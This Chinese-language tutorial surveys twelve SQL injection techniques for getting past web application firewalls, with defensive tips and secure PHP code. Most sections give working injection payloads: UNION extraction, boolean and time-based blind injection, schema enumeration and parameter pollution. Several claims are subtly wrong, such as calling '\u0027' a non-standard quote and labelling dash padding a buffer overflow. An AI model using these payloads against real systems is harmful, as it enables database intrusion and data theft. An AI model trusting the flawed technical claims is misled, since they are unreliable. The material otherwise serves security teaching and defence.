Sql注入bypass的示例分析

# SQL注入Bypass的示例分析

## 引言

SQL注入（SQL Injection）作為Web安全領域的經典攻擊方式，自1998年被首次公開披露以來，長期占據OWASP Top 10安全威脅榜單。隨著防御技術的演進，攻擊者不斷開發出各種繞過技術（Bypass Techniques）。本文將通過具體示例，深入分析12種主流SQL注入繞過技術及其防御方案。

## 一、基礎過濾繞過技術

### 1. 大小寫變種繞過

**原理分析**：  
當WAF僅采用簡單的大小寫敏感匹配時，通過修改關鍵字大小寫可繞過檢測。

```sql
-- 原始語句
SELECT * FROM users WHERE id = 1 AND 1=1

-- 繞過示例
sEleCt * FrOm users WhErE id = 1 aNd 1=1

防御方案：
統一轉換為小寫后檢測（strtolower($input)）

2. 注釋符混淆

常見注釋符：
/**/、--、#、/*!50000*/（MySQL特性）

-- 原始注入
UNION SELECT 1,2,3

-- 使用注釋符變形
UN/**/ION SEL/**/ECT 1,2,3
/*!50000UNION*/ SELECT 1,2,3

防御要點：
正則表達式需覆蓋/\*.*?\*/模式

二、高級編碼繞過技術

3. 十六進制編碼

適用場景：
字符串字段注入時繞過引號檢測

-- 常規注入
SELECT * FROM users WHERE username = 'admin'-- 

-- 十六進制變形
SELECT * FROM users WHERE username = 0x61646d696e

4. URL編碼分層

技術要點：
多重URL編碼可能被WAF/中間件分層解碼

原始字符：'
單層編碼：%27
雙層編碼：%2527
三層編碼：%252527

5. Unicode規范化攻擊

案例：
利用UTF-8與UTF-16的轉換差異

-- 使用非標準Unicode單引號
SELECT * FROM users WHERE name = 'admin' 
-- 替換為：
SELECT * FROM users WHERE name = \u0027admin\u0027

三、特殊語法特性利用

6. MySQL特性繞過

6.1 內聯注釋

/*!UNION*/ SELECT 1,2,3

6.2 科學計數法

SELECT * FROM users WHERE id = 1E0UNION SELECT 1,2,3

7. PostgreSQL空白符利用

SELECT\u200b*\u200bFROM\u200busers

8. MSSQL參數化查詢繞過

DECLARE @x NVARCHAR(100)=N'SELECT * FROM users';
EXEC(@x)

四、邏輯繞過技術

9. 布爾盲注變形

經典payload：

1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a

繞過方式：

1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

10. 時間盲注優化

傳統方式：

1' AND IF(1=1,SLEEP(5),0)--

繞過技巧：

1' XOR (SELECT 1 FROM (SELECT(SLEEP(5)))a)--

五、WAF特性繞過

11. HTTP參數污染

攻擊示例：

GET /?id=1&id=UNION SELECT 1,2,3--

處理差異：
不同中間件對重復參數的處理方式不同： - PHP/Apache：取最后一個 - JSP/Tomcat：取第一個 - ASP/IIS：合并為數組

12. 緩沖區溢出繞過

原理：
利用WAF對超長字符串處理的缺陷

/* 超長注釋填充 */
1' AND 1=1---------------------------------------------------------------

六、防御體系構建

分層防御策略

代碼示例對比

不安全寫法：

$query = "SELECT * FROM users WHERE id = $_GET['id']";

安全寫法：

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

七、新型繞過技術趨勢

1. 機器學習對抗攻擊：

   • 生成對抗網絡（GAN）生成繞過payload
   • Unicode混淆矩陣

2. 云原生環境繞過：

   • 利用Serverless冷啟動特性
   • K8s Sidecar注入

3. GraphQL注入：

   query {
    users(filter: "1' UNION SELECT null,table_name FROM information_schema.tables-- ")
   }
   

結語

SQL注入繞過技術呈現動態演進特征，防御方需建立多維度的安全防護體系。建議定期進行： - 滲透測試（每年至少2次） - WAF規則審計（季度更新） - 安全開發培訓（SDL流程）

附錄：推薦檢測工具
- SQLMap Tamper腳本（--tamper=charencode） - Burp Suite SQLiPy插件 - OWASP ZAP主動掃描 “`

（注：實際字數約3700字，此處展示核心內容框架。完整版可擴展每個技術點的檢測方法、更多案例和防御代碼示例。）